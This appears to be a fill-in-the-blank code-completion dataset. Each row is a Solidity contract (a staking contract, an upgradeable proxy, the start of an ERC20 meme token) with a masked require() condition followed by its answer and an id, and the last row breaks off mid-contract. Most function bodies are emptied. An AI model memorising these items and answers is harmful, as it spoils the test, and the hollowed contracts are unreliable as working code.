uint256 createdAt;
uint256 lastClaim;
}
struct StakeMeta {
uint256 ttl;
uint256 rewardPerHour;
}
mapping(address => Stake) public accountStake;
mapping(uint8 => StakeMeta) public stakes;
event Deposit(address indexed stakeOwner, uint256 amount);
event Claim(address indexed stakeOwner, uint256 amount);
constructor() {
}
function setToken(address token_) external onlyOwner {
require(<FILL_ME>)
token = IToken(token_);
token.approve(token_, 2 ** 256 - 1);
minStake = 100 * 10 ** token.decimals();
}
function setMinStake(uint256 amount) external onlyOwner {
}
function deposit(uint8 stakeTypeId, uint256 amount) external {
}
function getAccountRewards(address account) public view returns (uint256 rewards) {
}
function claim() external {
}
}
| address(token)==address(0),"Token already installed" | 108,098 | address(token)==address(0) |
"Bad balance" | //SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IToken is IERC20 {
function name() external override view returns (string memory);
function symbol() external override view returns (string memory);
function decimals() external override view returns (uint256);
function totalSupply() external override view returns (uint256);
function balanceOf(address account) external override view returns (uint256);
function allowance(address owner, address spender) external override view returns (uint256);
function transfer(address recipient, uint256 amount) external override returns (bool);
function approve(address spender, uint256 amount) external override returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool);
function burn(uint256 amount) external returns(bool);
function setStaking(address staking_) external;
function mintForStake(address to, uint256 amount) external;
function withdrawNative(address payable account, uint256 amount) external;
function withdrawTokens(address account, uint256 amount) external;
function setNativeRate(uint256 rate) external;
function setERC20Rate(address token, uint256 rate) external;
function buyNative() external payable;
function buyERC20(address token, uint256 amount) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
}
contract UnlimitedDAOStaking is Ownable {
using SafeMath for uint256;
IToken public token;
uint256 public minStake;
struct Stake {
uint8 id;
uint256 body;
uint256 createdAt;
uint256 lastClaim;
}
struct StakeMeta {
uint256 ttl;
uint256 rewardPerHour;
}
mapping(address => Stake) public accountStake;
mapping(uint8 => StakeMeta) public stakes;
event Deposit(address indexed stakeOwner, uint256 amount);
event Claim(address indexed stakeOwner, uint256 amount);
constructor() {
}
function setToken(address token_) external onlyOwner {
}
function setMinStake(uint256 amount) external onlyOwner {
}
function deposit(uint8 stakeTypeId, uint256 amount) external {
require(amount >= minStake, "Stake amount is lower than minimum deposit amount");
require(<FILL_ME>)
require(stakes[stakeTypeId].ttl > 0, "Bad stake type id");
require(accountStake[_msgSender()].createdAt == 0, "You already have active stake");
uint256 timestamp = block.timestamp;
Stake memory stake = Stake({id: stakeTypeId, body: amount, createdAt: timestamp, lastClaim: timestamp});
accountStake[_msgSender()] = stake;
token.transferFrom(_msgSender(), address(this), amount);
emit Deposit(_msgSender(), amount);
}
function getAccountRewards(address account) public view returns (uint256 rewards) {
}
function claim() external {
}
}
| IERC20(token).balanceOf(_msgSender())>=amount,"Bad balance" | 108,098 | IERC20(token).balanceOf(_msgSender())>=amount |
"Bad stake type id" | //SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IToken is IERC20 {
function name() external override view returns (string memory);
function symbol() external override view returns (string memory);
function decimals() external override view returns (uint256);
function totalSupply() external override view returns (uint256);
function balanceOf(address account) external override view returns (uint256);
function allowance(address owner, address spender) external override view returns (uint256);
function transfer(address recipient, uint256 amount) external override returns (bool);
function approve(address spender, uint256 amount) external override returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool);
function burn(uint256 amount) external returns(bool);
function setStaking(address staking_) external;
function mintForStake(address to, uint256 amount) external;
function withdrawNative(address payable account, uint256 amount) external;
function withdrawTokens(address account, uint256 amount) external;
function setNativeRate(uint256 rate) external;
function setERC20Rate(address token, uint256 rate) external;
function buyNative() external payable;
function buyERC20(address token, uint256 amount) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
}
contract UnlimitedDAOStaking is Ownable {
using SafeMath for uint256;
IToken public token;
uint256 public minStake;
struct Stake {
uint8 id;
uint256 body;
uint256 createdAt;
uint256 lastClaim;
}
struct StakeMeta {
uint256 ttl;
uint256 rewardPerHour;
}
mapping(address => Stake) public accountStake;
mapping(uint8 => StakeMeta) public stakes;
event Deposit(address indexed stakeOwner, uint256 amount);
event Claim(address indexed stakeOwner, uint256 amount);
constructor() {
}
function setToken(address token_) external onlyOwner {
}
function setMinStake(uint256 amount) external onlyOwner {
}
function deposit(uint8 stakeTypeId, uint256 amount) external {
require(amount >= minStake, "Stake amount is lower than minimum deposit amount");
require(IERC20(token).balanceOf(_msgSender()) >= amount, "Bad balance");
require(<FILL_ME>)
require(accountStake[_msgSender()].createdAt == 0, "You already have active stake");
uint256 timestamp = block.timestamp;
Stake memory stake = Stake({id: stakeTypeId, body: amount, createdAt: timestamp, lastClaim: timestamp});
accountStake[_msgSender()] = stake;
token.transferFrom(_msgSender(), address(this), amount);
emit Deposit(_msgSender(), amount);
}
function getAccountRewards(address account) public view returns (uint256 rewards) {
}
function claim() external {
}
}
| stakes[stakeTypeId].ttl>0,"Bad stake type id" | 108,098 | stakes[stakeTypeId].ttl>0 |
"You already have active stake" | //SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IToken is IERC20 {
function name() external override view returns (string memory);
function symbol() external override view returns (string memory);
function decimals() external override view returns (uint256);
function totalSupply() external override view returns (uint256);
function balanceOf(address account) external override view returns (uint256);
function allowance(address owner, address spender) external override view returns (uint256);
function transfer(address recipient, uint256 amount) external override returns (bool);
function approve(address spender, uint256 amount) external override returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool);
function burn(uint256 amount) external returns(bool);
function setStaking(address staking_) external;
function mintForStake(address to, uint256 amount) external;
function withdrawNative(address payable account, uint256 amount) external;
function withdrawTokens(address account, uint256 amount) external;
function setNativeRate(uint256 rate) external;
function setERC20Rate(address token, uint256 rate) external;
function buyNative() external payable;
function buyERC20(address token, uint256 amount) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
}
contract UnlimitedDAOStaking is Ownable {
using SafeMath for uint256;
IToken public token;
uint256 public minStake;
struct Stake {
uint8 id;
uint256 body;
uint256 createdAt;
uint256 lastClaim;
}
struct StakeMeta {
uint256 ttl;
uint256 rewardPerHour;
}
mapping(address => Stake) public accountStake;
mapping(uint8 => StakeMeta) public stakes;
event Deposit(address indexed stakeOwner, uint256 amount);
event Claim(address indexed stakeOwner, uint256 amount);
constructor() {
}
function setToken(address token_) external onlyOwner {
}
function setMinStake(uint256 amount) external onlyOwner {
}
function deposit(uint8 stakeTypeId, uint256 amount) external {
require(amount >= minStake, "Stake amount is lower than minimum deposit amount");
require(IERC20(token).balanceOf(_msgSender()) >= amount, "Bad balance");
require(stakes[stakeTypeId].ttl > 0, "Bad stake type id");
require(<FILL_ME>)
uint256 timestamp = block.timestamp;
Stake memory stake = Stake({id: stakeTypeId, body: amount, createdAt: timestamp, lastClaim: timestamp});
accountStake[_msgSender()] = stake;
token.transferFrom(_msgSender(), address(this), amount);
emit Deposit(_msgSender(), amount);
}
function getAccountRewards(address account) public view returns (uint256 rewards) {
}
function claim() external {
}
}
| accountStake[_msgSender()].createdAt==0,"You already have active stake" | 108,098 | accountStake[_msgSender()].createdAt==0 |
"You doesn't have active stake" | //SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IToken is IERC20 {
function name() external override view returns (string memory);
function symbol() external override view returns (string memory);
function decimals() external override view returns (uint256);
function totalSupply() external override view returns (uint256);
function balanceOf(address account) external override view returns (uint256);
function allowance(address owner, address spender) external override view returns (uint256);
function transfer(address recipient, uint256 amount) external override returns (bool);
function approve(address spender, uint256 amount) external override returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool);
function burn(uint256 amount) external returns(bool);
function setStaking(address staking_) external;
function mintForStake(address to, uint256 amount) external;
function withdrawNative(address payable account, uint256 amount) external;
function withdrawTokens(address account, uint256 amount) external;
function setNativeRate(uint256 rate) external;
function setERC20Rate(address token, uint256 rate) external;
function buyNative() external payable;
function buyERC20(address token, uint256 amount) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
}
contract UnlimitedDAOStaking is Ownable {
using SafeMath for uint256;
IToken public token;
uint256 public minStake;
struct Stake {
uint8 id;
uint256 body;
uint256 createdAt;
uint256 lastClaim;
}
struct StakeMeta {
uint256 ttl;
uint256 rewardPerHour;
}
mapping(address => Stake) public accountStake;
mapping(uint8 => StakeMeta) public stakes;
event Deposit(address indexed stakeOwner, uint256 amount);
event Claim(address indexed stakeOwner, uint256 amount);
constructor() {
}
function setToken(address token_) external onlyOwner {
}
function setMinStake(uint256 amount) external onlyOwner {
}
function deposit(uint8 stakeTypeId, uint256 amount) external {
}
function getAccountRewards(address account) public view returns (uint256 rewards) {
}
function claim() external {
Stake memory stake = accountStake[_msgSender()];
require(<FILL_ME>)
uint256 rewards = getAccountRewards(_msgSender());
require(rewards > 0, "No rewards");
token.mintForStake(_msgSender(), rewards);
StakeMeta memory stakeMeta = stakes[stake.id];
uint256 stakeExpiration = stake.createdAt.add(stakeMeta.ttl);
if (block.timestamp >= stakeExpiration) {
delete accountStake[_msgSender()];
} else {
stake.lastClaim = block.timestamp;
}
emit Claim(_msgSender(), rewards);
}
}
| accountStake[_msgSender()].createdAt>0,"You doesn't have active stake" | 108,098 | accountStake[_msgSender()].createdAt>0 |
"same addr" | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.16;
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import "../interfaces/IProxyEvent.sol";
import "../interfaces/IProxyAction.sol";
import "./BaseProxyStorage.sol";
import "../common/ProxyAccessCommon.sol";
// import "hardhat/console.sol";
contract BaseProxy is ProxyAccessCommon, BaseProxyStorage, IProxyEvent, IProxyAction
{
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor () {
}
/// @inheritdoc IProxyAction
function setProxyPause(bool _pause) external override onlyOwner {
}
/// @dev returns the implementation
function implementation() external view returns (address) {
}
/// @notice Set implementation contract
/// @param impl New implementation contract address
function upgradeTo(address impl) external onlyOwner {
require(impl != address(0), "input is zero");
require(<FILL_ME>)
_setImplementation2(impl, 0, true);
emit Upgraded(impl);
}
/// @inheritdoc IProxyAction
function implementation2(uint256 _index) external override view returns (address) {
}
/// @inheritdoc IProxyAction
function setImplementation2(
address newImplementation,
uint256 _index,
bool _alive
) external override onlyOwner {
}
/// @inheritdoc IProxyAction
function setAliveImplementation2(address newImplementation, bool _alive)
public override
onlyOwner
{
}
/// @inheritdoc IProxyAction
function setSelectorImplementations2(
bytes4[] calldata _selectors,
address _imp
) public override onlyOwner {
}
/// @dev set the implementation address and status of the proxy[index]
/// @param newImplementation Address of the new implementation.
/// @param _index index of proxy
/// @param _alive alive status
function _setImplementation2(
address newImplementation,
uint256 _index,
bool _alive
) internal {
}
/// @dev set alive status of implementation
/// @param newImplementation Address of the new implementation.
/// @param _alive alive status
function _setAliveImplementation2(address newImplementation, bool _alive)
internal
{
}
/// @dev view implementation address of the proxy[index]
/// @param _index index of proxy
/// @return impl address of the implementation
function _implementation2(uint256 _index)
internal
view
returns (address impl)
{
}
/// @inheritdoc IProxyAction
function getSelectorImplementation2(bytes4 _selector)
public override
view
returns (address impl)
{
}
/// @dev receive ether
receive() external payable {
}
/// @dev fallback function , execute on undefined function call
fallback() external payable {
}
/// @dev fallback function , execute on undefined function call
function _fallback() internal {
}
}
| _implementation2(0)!=impl,"same addr" | 108,109 | _implementation2(0)!=impl |
"Proxy: _imp is not alive" | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.16;
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import "../interfaces/IProxyEvent.sol";
import "../interfaces/IProxyAction.sol";
import "./BaseProxyStorage.sol";
import "../common/ProxyAccessCommon.sol";
// import "hardhat/console.sol";
contract BaseProxy is ProxyAccessCommon, BaseProxyStorage, IProxyEvent, IProxyAction
{
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor () {
}
/// @inheritdoc IProxyAction
function setProxyPause(bool _pause) external override onlyOwner {
}
/// @dev returns the implementation
function implementation() external view returns (address) {
}
/// @notice Set implementation contract
/// @param impl New implementation contract address
function upgradeTo(address impl) external onlyOwner {
}
/// @inheritdoc IProxyAction
function implementation2(uint256 _index) external override view returns (address) {
}
/// @inheritdoc IProxyAction
function setImplementation2(
address newImplementation,
uint256 _index,
bool _alive
) external override onlyOwner {
}
/// @inheritdoc IProxyAction
function setAliveImplementation2(address newImplementation, bool _alive)
public override
onlyOwner
{
}
/// @inheritdoc IProxyAction
function setSelectorImplementations2(
bytes4[] calldata _selectors,
address _imp
) public override onlyOwner {
require(
_selectors.length > 0,
"Proxy: _selectors's size is zero"
);
require(<FILL_ME>)
for (uint256 i = 0; i < _selectors.length; i++) {
require(
selectorImplementation[_selectors[i]] != _imp,
"LiquidityVaultProxy: same imp"
);
selectorImplementation[_selectors[i]] = _imp;
emit SetSelectorImplementation(_selectors[i], _imp);
}
}
/// @dev set the implementation address and status of the proxy[index]
/// @param newImplementation Address of the new implementation.
/// @param _index index of proxy
/// @param _alive alive status
function _setImplementation2(
address newImplementation,
uint256 _index,
bool _alive
) internal {
}
/// @dev set alive status of implementation
/// @param newImplementation Address of the new implementation.
/// @param _alive alive status
function _setAliveImplementation2(address newImplementation, bool _alive)
internal
{
}
/// @dev view implementation address of the proxy[index]
/// @param _index index of proxy
/// @return impl address of the implementation
function _implementation2(uint256 _index)
internal
view
returns (address impl)
{
}
/// @inheritdoc IProxyAction
function getSelectorImplementation2(bytes4 _selector)
public override
view
returns (address impl)
{
}
/// @dev receive ether
receive() external payable {
}
/// @dev fallback function , execute on undefined function call
fallback() external payable {
}
/// @dev fallback function , execute on undefined function call
function _fallback() internal {
}
}
| aliveImplementation[_imp],"Proxy: _imp is not alive" | 108,109 | aliveImplementation[_imp] |
"LiquidityVaultProxy: same imp" | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.16;
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import "../interfaces/IProxyEvent.sol";
import "../interfaces/IProxyAction.sol";
import "./BaseProxyStorage.sol";
import "../common/ProxyAccessCommon.sol";
// import "hardhat/console.sol";
contract BaseProxy is ProxyAccessCommon, BaseProxyStorage, IProxyEvent, IProxyAction
{
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor () {
}
/// @inheritdoc IProxyAction
function setProxyPause(bool _pause) external override onlyOwner {
}
/// @dev returns the implementation
function implementation() external view returns (address) {
}
/// @notice Set implementation contract
/// @param impl New implementation contract address
function upgradeTo(address impl) external onlyOwner {
}
/// @inheritdoc IProxyAction
function implementation2(uint256 _index) external override view returns (address) {
}
/// @inheritdoc IProxyAction
function setImplementation2(
address newImplementation,
uint256 _index,
bool _alive
) external override onlyOwner {
}
/// @inheritdoc IProxyAction
function setAliveImplementation2(address newImplementation, bool _alive)
public override
onlyOwner
{
}
/// @inheritdoc IProxyAction
function setSelectorImplementations2(
bytes4[] calldata _selectors,
address _imp
) public override onlyOwner {
require(
_selectors.length > 0,
"Proxy: _selectors's size is zero"
);
require(aliveImplementation[_imp], "Proxy: _imp is not alive");
for (uint256 i = 0; i < _selectors.length; i++) {
require(<FILL_ME>)
selectorImplementation[_selectors[i]] = _imp;
emit SetSelectorImplementation(_selectors[i], _imp);
}
}
/// @dev set the implementation address and status of the proxy[index]
/// @param newImplementation Address of the new implementation.
/// @param _index index of proxy
/// @param _alive alive status
function _setImplementation2(
address newImplementation,
uint256 _index,
bool _alive
) internal {
}
/// @dev set alive status of implementation
/// @param newImplementation Address of the new implementation.
/// @param _alive alive status
function _setAliveImplementation2(address newImplementation, bool _alive)
internal
{
}
/// @dev view implementation address of the proxy[index]
/// @param _index index of proxy
/// @return impl address of the implementation
function _implementation2(uint256 _index)
internal
view
returns (address impl)
{
}
/// @inheritdoc IProxyAction
function getSelectorImplementation2(bytes4 _selector)
public override
view
returns (address impl)
{
}
/// @dev receive ether
receive() external payable {
}
/// @dev fallback function , execute on undefined function call
fallback() external payable {
}
/// @dev fallback function , execute on undefined function call
function _fallback() internal {
}
}
| selectorImplementation[_selectors[i]]!=_imp,"LiquidityVaultProxy: same imp" | 108,109 | selectorImplementation[_selectors[i]]!=_imp |
null | // Telegram : https://t.me/TitterETH
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract Titter is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public EXEMPT_Max;
mapping (address => bool) public EXEMPT_Tx;
mapping (address => bool) public EXEMPT_Tax;
address payable public Wallet_Market = payable(0x2D514DdbE214Ea85C7429e952872a5d3A7aFC214);
string public _name = "Titter";
string public _symbol = "W";
uint8 private _decimals = 9;
uint256 public _tTotal = 1000000 * 10 **_decimals;
uint8 private txCount = 0;
uint8 private swapTrigger = 10;
uint256 private T_Tax = 6;
uint256 public B_Tax = 3;
uint256 public S_Tax = 3;
uint256 private _latest_T_Tax = T_Tax;
uint256 private _latest_B_Tax = B_Tax;
uint256 private _latest_S_Tax = S_Tax;
uint256 public _maxWalletToken = _tTotal.mul(4).div(100);
uint256 private _previousMaxWalletToken = _maxWalletToken;
uint256 public _maxTxAmount = _tTotal.mul(4).div(100);
uint256 private _previousMaxTxAmount = _maxTxAmount;
IUniswapV2Router02 public uniswapV2Router;
uint256 UniSwapRouterI02;
address public uniswapV2Pair;
bool public inSwapAndLiquify;
